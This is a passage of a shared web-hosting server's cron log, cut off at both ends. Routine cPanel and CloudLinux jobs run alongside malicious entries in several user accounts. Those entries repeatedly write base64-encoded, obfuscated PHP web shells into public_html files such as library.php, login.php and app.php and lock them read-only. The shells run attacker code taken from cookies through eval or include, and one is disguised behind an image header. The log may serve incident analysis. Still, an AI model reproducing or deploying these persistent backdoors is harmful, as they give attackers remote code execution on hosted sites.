25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:04:01 medusa CROND[7689]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:04:01 medusa CROND[7694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:04:01 medusa CROND[7695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:04:01 medusa CROND[7699]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:04:01 medusa CROND[7696]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:04:01 medusa CROND[7700]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:04:01 medusa CROND[7698]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:04:01 medusa CROND[7697]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:04:01 medusa CROND[7701]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 14:04:01 medusa CROND[7702]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:04:01 medusa CROND[7707]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:04:01 medusa CROND[7718]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:05:01 medusa CROND[26798]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 14:05:01 medusa CROND[26872]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 14:05:02 medusa CROND[27046]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:05:02 medusa CROND[27047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:05:02 medusa CROND[27048]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 14:05:02 medusa CROND[27049]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 14:05:02 medusa CROND[27050]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 14:05:02 medusa CROND[27051]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:05:02 medusa CROND[27052]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 14:05:02 medusa CROND[27055]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:05:02 medusa CROND[27056]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:05:02 medusa CROND[27057]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 14:05:02 medusa CROND[27058]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 14:05:02 medusa CROND[27063]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:05:02 medusa CROND[27054]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 14:05:02 medusa CROND[27077]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:05:02 medusa CROND[27072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:05:02 medusa CROND[27081]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:05:02 medusa CROND[27071]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 14:05:02 medusa CROND[27088]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:05:02 medusa CROND[27097]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:05:02 medusa CROND[27098]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 14:05:02 medusa CROND[27096]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 14:05:02 medusa CROND[27091]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 14:06:01 medusa CROND[13481]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:06:01 medusa CROND[13585]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 14:06:02 medusa CROND[13788]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:06:02 medusa CROND[13789]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 14:06:02 medusa CROND[13795]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:06:02 medusa CROND[13798]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoK